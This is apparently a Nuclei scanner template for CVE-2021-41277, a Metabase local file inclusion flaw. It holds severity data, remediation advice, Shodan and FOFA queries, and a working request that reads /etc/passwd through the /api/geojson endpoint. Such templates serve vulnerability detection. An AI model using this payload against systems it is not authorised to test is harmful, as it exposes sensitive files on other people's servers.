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id : CVE-2021-41277
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info :
name : Metabase Local File Inclusion
author : 0x_Akoko
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severity : high
description : Metabase is an open source data analytics platform. In affected versions a local file inclusion security issue has been discovered with the custom GeoJSON map (`admin->settings->maps->custom maps->add a map`) support and potential local file inclusion (including environment variables). URLs were not validated prior to being loaded.
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impact : |
The vulnerability can result in unauthorized access to sensitive files or execution of arbitrary code on the affected system.
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remediation : This issue is fixed in 0.40.5 and .40.5 and higher. If you are unable to upgrade immediately, you can mitigate this by including rules in your reverse proxy or load balancer or WAF to provide a validation filter before the application.
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reference :
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- https://github.com/metabase/metabase/security/advisories/GHSA-w73v-6p7p-fpfr
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- https://nvd.nist.gov/vuln/detail/CVE-2021-41277
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- https://twitter.com/90security/status/1461923313819832324
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- https://github.com/metabase/metabase/commit/042a36e49574c749f944e19cf80360fd3dc322f0
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- https://github.com/pen4uin/vulnerability-research-list
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classification :
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cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score : 7.5
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cve-id : CVE-2021-41277
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cwe-id : CWE-22,CWE-200
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epss-score : 0.95622
epss-percentile : 0.99363
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cpe : cpe:2.3:a:metabase:metabase:0.40.0:-:*:*:*:*:*:*
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metadata :
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max-request : 1
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vendor : metabase
product : metabase
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shodan-query : http.title:"Metabase"
fofa-query : app="Metabase"
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tags : cve2021,cve,metabase,lfi
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http :
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- method : GET
path :
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- "{{BaseURL}}/api/geojson?url=file:///etc/passwd"
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matchers-condition : and
matchers :
- type : regex
regex :
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- "root:.*:0:0:"
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- type : status
status :
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- 200
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# digest: 4a0a0047304502205efeb7e21f10ff6fa5734693840a37ec473c4df8d723b232e3b5f8dd436b60660221008bcd70f933c26ef891376061e2fb69bf54bd9e97b862b13f64aad141894a0ebb:922c64590222798bb761d5b6d8e72950